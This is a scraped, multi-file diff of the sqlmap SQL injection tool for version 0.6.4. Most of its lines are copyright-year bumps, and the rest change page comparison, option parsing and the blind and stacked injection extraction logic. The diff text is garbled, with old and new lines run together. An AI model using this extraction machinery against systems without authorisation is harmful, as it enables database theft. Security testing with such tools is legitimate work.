kb.absFilePaths = set() kb.absFilePaths = set()
kb.defaultResult = None
kb.docRoot = None kb.docRoot = None
kb.dbms = None kb.dbms = None
kb.dbmsDetected = False kb.dbmsDetected = False
@@ -635,6 +659,7 @@ def __saveCmdline():
debugMsg = "saving command line options on a sqlmap configuration INI file" debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg) logger.debug(debugMsg)
config = ConfigParser()
userOpts = {} userOpts = {}
for family in optDict.keys(): for family in optDict.keys():
@@ -645,10 +670,8 @@ def __saveCmdline():
if option in optionData: if option in optionData:
userOpts[family].append((option, value, optionData[option])) userOpts[family].append((option, value, optionData[option]))
confFP = open(paths.SQLMAP_CONFIG, "w")
for family, optionData in userOpts.items(): for family, optionData in userOpts.items():
confFP.write("[%s]\n" % family) config.add_section(family)
optionData.sort() optionData.sort()
@@ -669,12 +692,10 @@ def __saveCmdline():
if isinstance(value, str): if isinstance(value, str):
value = value.replace("\n", "\n ") value = value.replace("\n", "\n ")
confFP.write("%s = %s\n" % (option, value)) config.set(family, option, value)
confFP.write("\n") confFP = open(paths.SQLMAP_CONFIG, "wb")
config.write(confFP)
confFP.flush()
confFP.close()
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg) logger.info(infoMsg)
@@ -741,6 +762,7 @@ def init(inputOptions=advancedDict()):
__setHTTPProxy() __setHTTPProxy()
__setThreads() __setThreads()
__setDBMS() __setDBMS()
__setUnionTech()
__setGoogleDorking() __setGoogleDorking()
__setMultipleTargets() __setMultipleTargets()
__urllib2Opener() __urllib2Opener()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -63,6 +63,7 @@ optDict = {
"stackedTest": "boolean", "stackedTest": "boolean",
"timeTest": "boolean", "timeTest": "boolean",
"unionTest": "boolean", "unionTest": "boolean",
"uTech": "string",
"unionUse": "boolean", "unionUse": "boolean",
}, },

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -129,6 +129,8 @@ def setDbms(dbms):
kb.dbms = dbms kb.dbms = dbms
logger.info("the back-end DBMS is %s" % kb.dbms)
def setUnion(comment=None, count=None, position=None): def setUnion(comment=None, count=None, position=None):
""" """

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -30,7 +30,7 @@ import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.6.3" VERSION = "0.6.4"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
@@ -68,3 +68,47 @@ SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
# TODO: port to command line/configuration file options? # TODO: port to command line/configuration file options?
SECONDS = 5 SECONDS = 5
RETRIES = 3 RETRIES = 3
MATCH_RATIO = 0.9
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
" top ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"grant ", ),
"SQL data execution": (
"exec ",
"execute ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -28,6 +28,7 @@ import difflib
import os import os
import re import re
import shutil import shutil
import sys
import tempfile import tempfile
import urlparse import urlparse
import zipfile import zipfile
@@ -188,13 +189,8 @@ def __updateMSSQLXML():
logger.info(infoMsg) logger.info(infoMsg)
# Compare the old XML file with the new one # Compare the old XML file with the new one
differ = difflib.Differ() diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList)) sys.stdout.writelines(diff)
# Show only the different lines
for line in differences:
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
print line.strip("\n")
else: else:
infoMsg = "no new Microsoft SQL Server versions since the " infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update" infoMsg += "last update"
@@ -262,7 +258,7 @@ def __updateSqlmap():
logger.info(infoMsg) logger.info(infoMsg)
elif sqlmapNewestVersion < VERSION: elif sqlmapNewestVersion < VERSION:
infoMsg = "if you are running a version of sqlmap more updated than " infoMsg = "you are running a version of sqlmap more updated than "
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
logger.info(infoMsg) logger.info(infoMsg)

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -109,7 +109,7 @@ def cmdLineParser():
request.add_option("--timeout", dest="timeout", type="float", request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection " help="Seconds to wait before timeout connection "
"(default 10)") "(default 30)")
# Injection options # Injection options
@@ -163,12 +163,15 @@ def cmdLineParser():
techniques.add_option("--time-test", dest="timeTest", techniques.add_option("--time-test", dest="timeTest",
action="store_true", action="store_true",
help="Test for Time based blind SQL injection") help="Test for time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest", techniques.add_option("--union-test", dest="unionTest",
action="store_true", action="store_true",
help="Test for UNION query (inband) SQL injection") help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-use", dest="unionUse", techniques.add_option("--union-use", dest="unionUse",
action="store_true", action="store_true",
help="Use the UNION query (inband) SQL injection " help="Use the UNION query (inband) SQL injection "
@@ -189,7 +192,7 @@ def cmdLineParser():
"be used to enumerate the back-end database " "be used to enumerate the back-end database "
"management system information, structure " "management system information, structure "
"and data contained in the tables. Moreover " "and data contained in the tables. Moreover "
"you can run your own SQL SELECT queries.") "you can run your own SQL statements.")
enumeration.add_option("-b", "--banner", dest="getBanner", enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner") action="store_true", help="Retrieve DBMS banner")
@@ -258,7 +261,7 @@ def cmdLineParser():
help="Last table entry to dump") help="Last table entry to dump")
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL SELECT query to be executed") help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell", enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true", action="store_true",

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference": elif name == "inference":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data self.__queries.inference = data

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -24,13 +24,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import md5
import re import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.settings import MATCH_RATIO
def comparison(page, headers=None, content=False): def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None regExpResults = None
# String to be excluded before calculating page hash # String to be excluded before calculating page hash
@@ -67,40 +67,15 @@ def comparison(page, headers=None, content=False):
else: else:
return False return False
# By default it returns the page content MD5 hash # By default it returns sequence matcher between the first untouched
if not conf.equalLines and not conf.contentLengths: # HTTP response page content and this content
return md5.new(page).hexdigest() conf.seqMatcher.set_seq2(page)
# TODO: go ahead from here if getSeqMatcher:
return round(conf.seqMatcher.ratio(), 3)
# Comparison algorithm based on Content-Length header value elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:
elif conf.contentLengths: return True
minValue = conf.contentLengths[0] - 10
maxValue = conf.contentLengths[1] + 10
if len(page) >= minValue and len(page) <= maxValue: else:
return True return False
# Comparison algorithm based on page content's stable lines subset
elif conf.equalLines:
counter = 0
trueLines = 0
pageLines = page.split("\n")
for commonLine in conf.equalLines:
if counter >= len(pageLines):
break
if commonLine in pageLines:
trueLines += 1
counter += 1
# TODO: just debug prints
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
return True
else:
return False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import httplib import httplib
import md5
import re import re
import socket import socket
import time import time
@@ -227,7 +226,7 @@ class Connect:
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False): def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
""" """
This method calls a function to get the target url page content This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of and returns its page MD5 hash or a boolean value in case of
@@ -270,7 +269,7 @@ class Connect:
if content: if content:
return page, headers return page, headers
elif page and headers: elif page:
return comparison(page, headers, content) return comparison(page, headers, getSeqMatcher)
else: else:
return False return False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -70,13 +70,25 @@ def __goInference(payload, expression):
return value return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None): def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
outputs = [] outputs = []
origExpr = None
for field in expressionFieldsList: for field in expressionFieldsList:
output = None output = None
expressionReplaced = expression.replace(expressionFields, field, 1) if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload) output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
@@ -87,6 +99,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
output = __goInference(payload, expressionReplaced) output = __goInference(payload, expressionReplaced)
if isinstance(num, int):
expression = origExpr
outputs.append(output) outputs.append(output)
return outputs return outputs
@@ -116,7 +131,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return output return output
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
@@ -132,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression: if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp: if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop limitGroupStop = queries[kb.dbms].limitgroupstop
@@ -144,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): elif kb.dbms == "Microsoft SQL Server":
if limitRegExp:
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@@ -163,6 +194,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = expression.index(queries[kb.dbms].limitstring) untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
@@ -252,9 +286,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output) outputs.append(output)
return outputs return outputs
@@ -315,6 +347,9 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
value = None value = None
if inband and conf.unionUse and kb.dbms: if inband and conf.unionUse and kb.dbms:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected) value = __goInband(expression, expected)
if not value: if not value:
@@ -336,6 +371,8 @@ def goStacked(expression):
TODO: write description TODO: write description
""" """
expression = cleanQuery(expression)
comment = queries[kb.dbms].comment comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression) query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment)) query = agent.postfixQuery("%s;%s" % (query, comment))

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
@@ -54,12 +54,12 @@ def bisection(payload, expression, length=None):
finalValue = "" finalValue = ""
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, _, fieldToCastStr = agent.getFields(expression) _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced) expressionUnescaped = unescaper.unescape(expressionReplaced)
else: else:
expressionUnescaped = unescaper.unescape(expression) expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg) logger.info(infoMsg)
@@ -97,13 +97,11 @@ def bisection(payload, expression, length=None):
while (maxValue - minValue) != 1: while (maxValue - minValue) != 1:
queriesCount[0] += 1 queriesCount[0] += 1
limit = ((maxValue + minValue) / 2) limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit) forgedPayload = payload % (expressionUnescaped, idx, limit)
result = Request.queryPage(forgedPayload)
result = Request.queryPage(forgedPayload) if result == True:
if result == kb.defaultResult:
minValue = limit minValue = limit
else: else:
maxValue = limit maxValue = limit

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
